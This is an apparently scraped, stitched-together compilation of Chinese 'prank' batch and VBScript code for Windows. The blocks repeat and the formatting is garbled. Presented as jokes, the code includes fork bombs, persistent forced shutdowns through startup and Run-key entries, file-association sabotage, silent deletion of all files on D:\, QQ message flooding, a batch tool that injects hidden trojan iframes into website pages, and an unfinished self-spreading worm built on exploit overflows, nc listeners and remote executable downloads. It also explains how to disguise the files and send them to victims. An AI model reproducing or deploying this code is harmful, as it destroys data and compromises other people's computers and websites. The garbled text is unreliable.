愚人节整人网页代码

整人代码大全

整人代码大全这是一个恶搞程序，运行后会出现N个本地磁盘，但是对电脑没有什么实际伤害。

@echo offfor %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)如果要解除就用这个@echo offfor %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)如果你对对方恨之入骨就用这个，这个会把文件关联改的一团糟@echo offassoc .exe=txtfileassoc .txt=exefileassoc .mp3=txtfileassoc .flv=txtfileassoc .swf=txtfileassoc .fla=txtfileassoc .jpg=txtfileassoc .bmp=txtfileassoc .zip=txtfileassoc .7z=txtfileassoc .rar=txtfileassoc .tag=txtfileassoc .jpge=txtfileassoc .mp4=txtfileassoc .3gp=txtfileassoc .avi=txtfileassoc .wav=txtfileassoc .htm=txtfileassoc .html=txtfileassoc .vbs=txtfileassoc .vbe=txtfileassoc .js=txtfileassoc .rxproj=txtfileassoc .mdb=txtfileassoc .dll=txtfileassoc .dat=txtfileassoc .sys=txtfileassoc .wmv=txtfileassoc .ogg=txtfileassoc .db=txtfileassoc .mid=txtfileassoc .gif=txtfileassoc .png=txtfileassoc .doc=txtfileassoc .exl=txtfileassoc .pdf=txtfileassoc .chm=txtfileassoc .nfo=txtfile或者用这个@echo offcopy %0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动" shutdown -s -f -t 0你也可以用这个超级弹窗程序吓吓他@echo offfor /l %%i in (1,1,10000) do (start %0)让对方重启指定次数@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1if not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次对方必须说“我是猪”，否则电脑会在60秒内关机。

整人电脑代码

WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("夜黑很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")

bat整人电脑病毒代码是怎样的

三一文库（）〔bat整人电脑病毒代码是怎样的〕*篇一：一些bat恶搞代码第一个:让别人内存OVER(逼他重启)@echooffstartcmd%0就这3行了第二个:让对方重启指定次数(害人专用)@echooffifnotexistc:\1.txtecho.c:\1.txtgotoerr1 ifnotexistc:\2.txtecho.c:\2.txtgotoerr1 ifnotexistc:\3.txtecho.c:\3.txtgotoerr1 ifnotexistc:\4.txtecho.c:\4.txtgotoerr1 ifnotexistc:\5.txtecho.c:\5.txtgotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启第三个:自动踢人(3389肉机保护自己专用)@echoofflogoff1dellog.batlogoff后面的1改成自己登陆的ID号,用queryuser查看第四个:批量自动溢出@for/f%%iin(result.txt)do42%%i58.44.89.158521先自己用NC监听端口,多开几个,然后指行,就自动溢出了第五个:自动挂马改主页@echooffclsrem直接打批处理名字就有帮助title批量挂马,改首页(伤脑筋QQ:447228437).colorAsetpan=%1setye=%2setdai=%3if"%pan%"==""gotoe1if"%ye%"==""gotoe1if"%dai%"==""gotoe1if"%dai%"=="htm.txt"gotou1forfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEecho^ iframesrc=":%dai%"width="0"height="0"frameborder="0 "^@path"echo.echo代码全部插入完毕echo.pausegotoe1:u1echo您现在的操作将使%pan%盘下,全部名为%ye%的内容变为您要更改的内容.echo这将是非常危险的,您真的要这样做?回车却认,Ctrl+c取消操作.pauseforfiles/p%pan%/m%ye%/s/c"cmd/cif@isdir==FALSEcopy% 1\htm.txt@path/y"echo.echo首页全部更改完必如果您发现没有替换成功,请将%ye%文件只读属性去掉.echo.pause:e1echo.echo本批处理只适用于2003系统,其他系统要使用,请将forfiles.exe拷贝至系统盘system32目录下echo用法:snj^搜索盘符^^文件名^^网马地址^echo例子:snjd:\index.asp/mm.htmecho批处理将自动添加^iframe^标记echo.echo如果您要更改全部网站的首页!请在批处理文件所在目录下,新建一个名为htm.txt的文本文件.echo然后将要更改的代码加COPY到里面保存.然后将命令的^网马地址^项输入为htm.txt即可.echo例子:snjd:\index.asphtm.txtecho.echo为了能准确无误执行批处理请最好先把记事本的"自动换行功能去掉",让命令保持在一行才能正确执行.echo.echo使用此批处理造成一切后果本人概不负责,请大家谨慎使用!echo.第六个:利用批处理编写利用系统漏洞传播的蠕虫病毒本来想写完后在做教程,要去学校了,所以先把思路告诉大家,大家可以先自己写写,我有时间写完发到群里.这些是我未完成的批处理,大家可以在此基础上按照我下面说的思路继续写完delc:\42.exedelc:\nc.exedelc:\ip.exeechodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbsechodimwsh%systemroot%\help\test2.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test2.vbsechowsh.run"cmd/cstart%systemroot%\help\good.bat",0%systemroot%\help\test2.vbsechoopen10.0.0.5%systemroot%\help\ftp.txt echoopenmyyes%systemroot%\help\ftp.txtecho1%systemroot%\help\ftp.txtechobinary%systemroot%\help\ftp.txtechoget42.exec:\42.exe%systemroot%\help\ftp.txt echogetnc.exec:\nc.exe%systemroot%\help\ftp.txt echogetip.exec:\ip.exe%systemroot%\help\ftp.txt echobye%systemroot%\help\ftp.txtechoechoSetxPost=CreateObject("Microsoft.XMLHTTP") ^1.vbs%systemroot%\help\or.txtechoechoxPost.Open"GET",":10.0.0.5/my.exequo...,0 ^^1.vbs%systemroot%\help\or.txtechoechoxPost.Send()^^1.vbs%systemroot%\help\or.txt echoechoSetsGet=CreateObject("ADODB.Stream")^^1.vbs%systemroot%\help\or.txtechoechosGet.Mode=3^^1.vbs%systemroot%\help\or.txte choechosGet.Type=1^^1.vbs%systemroot%\help\or.txtec hoechosGet.Write(xPost.responseBody)^^1.vbs%systemroot%\help\or.txtechoechosGet.SaveToFile"d:\my.exe",2^^1.vbs%systemroot%\help\or.txtechoecho1.vbs^^1.vbs%systemroot%\help\or.txtechoechomy.exe^^1.vbs%systemroot%\help\or.txtechoWindowsRegistryEditorVersion5.00%systemroot%\he lp\1.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]%systemroot%\help\1.regecho"SKYNETPersonalFireWall"="F:\\系统安全工具\\FireWall\\PFW.exe"%systemroot%\help\1.regecho"1"="%systemroot%\\help\\test2.vbs"%systemroot% \help\1.regifnotexist%systemroot%\help\good.batcopygood.bat%systemroot%\help\good.bat%systemroot%\help \test2.vbsdelgood.batregedit-s%systemroot%\help\1.regftp-s:%systemroot%\help\ftp.txtmovec:\nc.exe%systemroot%\help\/ymovec:\42.exe%systemroot%\help\/ymovec:\ip.exe%systemroot%\help\/y%systemroot%\help\test.vbsremfor/f%%iin(result1.txt)doseta=%%iremfor/f%%jin(result.txt)do42%a%%%j810准备:1:找一个反向连接的溢出攻击程序,如ms06040漏洞2:找呀一个免费FTP空间,最好是送域名的3:利用你所知道的高级语言编写一个,能生成随机范围IP地址和找到本机IP的工具.思路:用for语句对指定文本里的IP进行溢出,然后用if语句判断是否溢出成功,如果成功开启一个NC监听端口,NC后面带一个输入符号输入的内容为下载本批处理文件,然后执行这个批处理.这样被溢出的机器就又会在他那里运行我门的批处理,从而到自动传播的目的.把批处理生成的文件集中放到一个目录下,可以%systemroot%系统变量直接放到系统目录下因为批处理运行后会闪出命令行窗口,我门可以利用VBS脚本来运行我们的批处理,这样就不会有任何窗口出现,脚本如下echodimwsh%systemroot%\help\test.vbsechosetwsh=CreateObject("WScript.Shell")%systemroot%\help\ test.vbsechowsh.run"cmd/c%systemroot%\help\nc-v-l-p 810%systemroot%\help\or.txt",0%systemroot%\help\te st.vbs生成随机IP工具的VB代码PrivateSubForm_Load()DimfsoAsNewFileSystemObjectDima,b,c,dAsIntegerDimph,eAsStringph=App.Path"\""ip.txt"Randomizea=Int(253*Rnd+1)b=Int(253*Rnd+1)c=Int(240*Rnd+1)OpenphForOutputAs#1Fori=cToc+7Forj=1To254e=a"."b"."i"."jPrint#1,eDoEventsNextjNextiClose#1UnloadMeEndSub*篇二：整人“病毒”代码(一)发表于2013-10-2310:33前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

整人代码

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "哈哈你被耍了！"
loop
----------------------------------------------------------------------------
时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法
我们来看下这个脚本
--------------------------------------------------------------------------------
on error resume next
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、删除D:\所有文件

一些整人的批处理代码

1:卡死你
@ echo off
copy %~s0 /b "%USERPROFILE%\「开始」菜单\程序\启动" /b
md 01
copy %~s0 /b 01 /b
start 01\%~n0%~x0
exit
2：马上重启《一直循坏》
@echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0
3：立刻死机
@echo off for /l %%i in (0,1,254) do start %%i 第十一组:乱加硬盘分区及解决 @echo off echo 请稍等......正在为你加硬盘分区.................. md d:\fly >nul 2>nul set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z for %%a in (%a%) do subst %%a: d:\fly >nul 2>nul echo\ echo 打开＂我的电脑＂看看.........够不够用呀.......... ping 127.1 -n 5 >nul exit 修复: @echo off&color 1e title 请稍等......正在为你还原硬盘分区.................. set a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z

vbs整人代码

vbs整人代码const yourname = "请在这填上姓名"const title = "爱情测试"const question = "你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。

"const info = "你在说谎！不要逃避，实话实说。

"const scend = "你说出了你的心扉，那就向他（她）表白吧。

"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title功能：让他非说出你指定的名字点击我查看《两个男人的故事》保存为*.htm无限循环！！MsgBox "兄弟呀，你最近是否失眠",vbinformationRandomize()Dim aa=Int(rnd*2)Select Case aCase 0MsgBox ("我也是这样啊``````")Case 1MsgBox ("(-.-)，同是天涯失眠人。

")Case 2MsgBox ("(~.~)，还是说你没有失眠")End selectMsgBox ("告诉你一个祖传秘方")Dim b(99)For ji=0 To 99b(ji)=ji+1MsgBox (b(ji) & "只羊")NextMsgBox ("好吧，晚安！")If b(99)=100 ThenSet Wshell=Wscript.CreateObject("Wscript.Shell") Wshell.run "shutdown -s -t 100"End ifps 一直弹到100 然后倒数计时关机on error resume nextset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")fso.movefile(wscript.scriptfullname,"%windir%\")wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1 wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1ps:这个毒呀开机就重起我还没验证过呢domsgbox "You are foolish!" '可以改成想弹出的字loopps:这简单一直弹同一句话set wsh=createobject("wscript.shell")dowsh.run "calc"loopps:有点哪个打开无数个计算器，可能会死机dim sdo until s=500 '次数s=s+1msgbox "哥们，给我按500次回车吧",64 '弹出的字loopon error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说我是猪，不说的话就40秒关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快，说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了吗"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "嘻~真爽"可以说是一段很老的代码了。

VBS整人代码大全

VBS整人代码大全一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与 xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。

vbs整人代码大集合

未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。

VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。

请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。

使用这些代码时，请确保你已经获得了授权。

2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。

```vbs Set objShell = CreateObject(
1。

愚人节整人电脑程序

愚人节整人电脑程序【篇一：愚人节捉弄人小程序】第一个:让别人内存over(逼他重启)@echo offstart cmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

第二个:让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. c:1.txt goto err1if not exist c:2.txt echo. c:2.txt goto err1if not exist c:3.txt echo. c:3.txt goto err1if not exist c:4.txt echo. c:4.txt goto err1if not exist c:5.txt echo. c:5.txt goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. c:6.txt goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

第三个:善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具t-文件夹选项o-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume nextdim wshshellaset wshshella = wscript.createobject(wscript.shell)dim ado while(a 我是猪)a = inputbox (说我是猪,就不关机，快撒，说我是猪 ,说不说,不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,msgboxloopmsgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛dim wshshellset wshshell = wscript.createobject(wscript.shell)wshshell.run cmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，一切皆有可能~复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用qq发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。

电脑整人小代码

if "%1" == "h" goto beginmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit :begintasklist |find /i "QQ.exe"if %errorlevel%==0 (goto killit) else (goto next):killittaskkill /f /im QQ.exe:nextping -n 3 127.t >nul 2>nulgoto begin——————————分割线————————把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行嘿嘿，那你的qq就不能运行了哟@ color 4f@echo offecho 删除计算机的C盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的D盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo 删除计算机的E盘的所有文件......ping 127.0.0.1 /n 2 >nulecho 已删除完毕echo.echo. =========================================echo. 啊哈哈，都删关，都杀关，哈哈……echo. =========================================echo. 系统将马上崩溃......echo. 这是一个木马程序......您的所有资料已经传到XXXX@shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"ntsd -c q -pn explorer.exeping 127.0.0.1 /n 20 >nulstart explorer.exeshutdown -a____________________________分割线______________________将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了运行后你的磁盘会被格式化当然那是假的。

整人病毒代码

前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。

一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。

把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。

他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。

用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。

如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。

哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。

愚人节计算机开机恶搞整人方法有哪些

愚人节计算机开机恶搞整人方法有哪些在愚人节的时候，用计算机也是一种很流行和最新意的整蛊方式，可以在登陆计算机的时候整蛊一下别人哦。

下面是小编整理的愚人节计算机开机恶搞整人方法，分享给大家!设置开机不明对话框整人方法1、单击“开始”菜单——单击“运行”——键入“regedit”命令——单击“确定”——打开注册表编辑器界面2、依次展开左侧窗口的注册表项到以下分支上HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon3、Winlogon项的右侧界面双击“LegalNoticeCaption”键值，在数据数值对话框中输入标题的说明，单击“确定”按钮。

该参数允许在包含“交互式登录: 试图登录的用户的消息文本”的窗口的标题栏中显示标题的说明。

4、接着找到并双击打开名称为“LegalNoticeText”的键值，在数据数值对话框中输入提示语，单击“确定”按钮。

该参数指定用户登录时向其显示的文本消息。

计算机开机如何设置不明对话框1、单击“开始”菜单，单击“运行”，在打开框中输入“gpedit.msc”，启动组策略程序2、在左侧窗口中依次点击“计算机配置”——“Windows 设置”——“安全设置”——“本地策略”——“安全选项”3、在左侧界面找到“交互式登录:用户试图登陆时标题”项目，双击打开4、在本地安全设置窗口下的输入框中键入标题的说明，我这里设置为“Windows 发生致命性错误”，单击“确定”5、然后返回到刚才的策略界面，找到并双击打开“交互式登录:用户试图登陆时的消息文字”项目6、在本地策略设置窗口下的输入框中键入用户登录时向其显示的文本消息，我这里设置为“您好!您的系统遭到黑客攻击，现已崩溃，请重新启动计算机后使用Windows光盘重新安装系统”，单击“确定”7、现在重新启动计算机，在登录系统界面时就会看到弹出以上提示的对话框，不明真相的人肯定会吓了一跳，有木有呢?哈哈~~ 计算机整人的注意事项以上任意一种方法都能达到设置开机不明对话框的效果以上方法适用于Windows XP以上版本的操作系统这种整人方法需要在计算机不急用的情况下进行。

整人代码大集合-多年的代码收集

整人代码大集合-多年的代码收集在我们的日常生活中，整人已经成为一种常见的娱乐方式。

无论是在家庭聚会还是在办公室，整人都可以给人们带来欢乐和轻松的氛围。

而在数字化时代，整人也不再局限于口头或行为上，代码整人也成为了一种新的趋势。

多年来，人们不断积累了各种各样的代码整人，这些代码可以用于各种场合，让人们捧腹大笑。

下面就让我们来看看这些代码整人的大集合吧！1. 桌面整人代码。

在办公室中，桌面整人是一种常见的方式。

你可以在同事的电脑上放一个隐藏的桌面截图，然后将所有的桌面图标隐藏，让他们找不到任何东西。

下面是一个简单的VBScript代码，可以实现这个整人效果：```vbscript。

Set WshShell = WScript.CreateObject("WScript.Shell")。

WshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True。

WshShell.SendKeys "{F5}"```。

将以上代码保存为.vbs文件，然后将文件发送给你的同事，让他们双击运行。

他们的桌面图标将全部消失，然后按下F5键即可恢复。

2. 键盘整人代码。

键盘整人是另一种常见的方式，你可以通过改变键盘的布局或者发送一些奇怪的按键组合来整人你的朋友。

下面是一个简单的AutoHotkey代码，可以实现这个整人效果：```autohotkey。

SendInput {LShift Down}{LAlt Down}{LWin Down}{Tab}{LShift Up}{LAlt Up}{LWin Up}。

```。

将以上代码保存为.ahk文件，然后发送给你的朋友让他们运行。

这个代码会触发一个快捷键组合，让他们的屏幕上出现切换窗口的效果。

3. 网页整人代码。

在网页上整人也是一种常见的方式，你可以通过修改网页的内容或者添加一些恶搞的效果来整人你的朋友。

整人代码大全

整人代码大全让对方重启指定次数(害人专用)@echo offif not exist c:1.txt echo. >c:1.txt & goto err1if not exist c:2.txt echo. >c:2.txt & goto err1if not exist c:3.txt echo. >c:3.txt & goto err1sif not exist c:4.txt echo. >c:4.txt & goto err1if not exist c:5.txt echo. >c:5.txt & goto err1goto err2:err1shutdown -s -t 0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次...打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

善意恶搞关机首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结束任务都不行，他只能说他是猪才能解决问题。

vbe整人代码

一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). 注：要让相同的行列连接xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "Y ou are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。

VB整人程序代码大全

vbs整人代码大**一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>=---------------------------------------------------------------------------On Error Resume NextDim wsh,yeset wsh=createobject("wscript.shell")for i=1 to 10wscript.sleep 700wsh.AppActivate("与xx 聊天中")wsh.sendKeys "^v"wsh.sendKeys iwsh.sendKeys "%s"nextwscript.quit----------------------------------------------------------------------------QQ骚扰信息,也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox "You are foolish!"loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject("wscript.shell")dowsh.run "calc"loop-----------------------------------------------------------------------------四、直接关机-----------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "shutdown -f -s -t 00",0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox "哈哈你被耍了！"loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys "%{F4}"loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。

bat整人电脑病毒代码是怎样的

